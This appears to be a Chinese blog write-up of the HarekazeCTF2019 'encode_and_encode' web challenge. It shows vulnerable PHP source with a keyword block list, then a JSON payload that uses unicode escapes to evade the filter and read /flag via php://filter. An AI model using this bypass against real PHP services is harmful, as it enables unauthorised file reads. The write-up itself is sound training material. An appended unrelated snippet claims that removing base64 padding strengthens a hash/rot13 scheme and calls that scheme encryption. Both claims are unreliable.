[HarekazeCTF2019]encode_and_encode

[HarekazeCTF2019]encode_and_encode

 依次点进去分别发现了:

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

审计上面代码得知,过滤了很多的关键字

$body = file_get_contents('php://input');
$json = json_decode($body, true);

审计上面代码得知,我们需要用json的方式传page,并且会用到伪协议,并且会涉及到php file_get_contents函数:

php file_get_contents()函数:

定义与用法:

file_get_contents() 函数把整个文件读入一个字符串中。

和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

语法:

file_get_contents(path,include_path,context,start,max_length)

参数:

path必需。规定要读取的文件。
include_path可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

提示和注释:

提示:该函数是二进制安全的。(意思是二进制数据(如图像)和字符数据都可以使用此函数写入。)

示例:

<?php

echo file_get_contents("test.txt");

?>

上面的代码将输出:

This is a test with test text.

构造payload:

{"page":"php://filter/convert.base64-encode/resource=/flag"}

但是由于关键字flag、php都被禁用了,可以利用unicode编码来代替,构造新的payload:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

利用bp传一下数据,当抓包后点击about的时候,页面出来了{"page":"pages/about.html"},所以就用这个页面进行传值,就得到了base64加密字符串:

解密即得flag:

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
题目描述: 题目里给出了一个Python脚本,我们需要分析一下这个脚本是干什么的,并且对脚本进行改进,使得加密算法更加强大。 题目解析: 我们首先来看一下这个Python脚本的主体代码: import base64 import codecs import hashlib txt = 'HarekazeCTF{TestTestTest}' txt = hashlib.sha512(txt.encode('ascii')).hexdigest() txt = codecs.encode(txt.encode('ascii'), 'rot13') txt = base64.b64encode(txt.encode('ascii')).decode('ascii') txt = txt.replace('=', '') print(txt) 大概的意思是,先对一个字符串进行sha512哈希,将结果转化为rot13编码,然后再用base64编码,最后移除等号。这里的等号主要是用来填充字节数的,我们可以通过移除等号的方式来隐藏字节数,使得加密算法更加强大。 那么我们接下来就考虑实现一个更加高级的加密算法。或者说,我们需要在Python脚本里构建一个加密函数,将输入的字符串进行加密之后输出。 我们可以使用一些前沿的加密技术,比如AES、RSA、ECDSA等等,这些算法同样也可以在Python脚本里面直接调用。不过这些算法需要对输入的字符串进行一些特殊的格式化处理,一般来说先需要将字符串转化为字节流(bytes),然后再通过算法对字节流进行加密。最后还需要对加密后的字节流进行一些编码转换的操作,比如base64编码和十六进制编码等。 具体来讲,我们可以使用以下几个Python库来实现一个高级加密算法: hashlib:用来实现哈希算法的Python标准库。 pycryptodome:用来实现加密算法的Python第三方库,支持多种加密算法,如AES、RSA、ECDSA等。 base64:用来实现base64编码的Python标准库。 codecs:用来实现其他编码转换的Python标准库。 具体用法可以参考PyCryptodome的官方文档。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值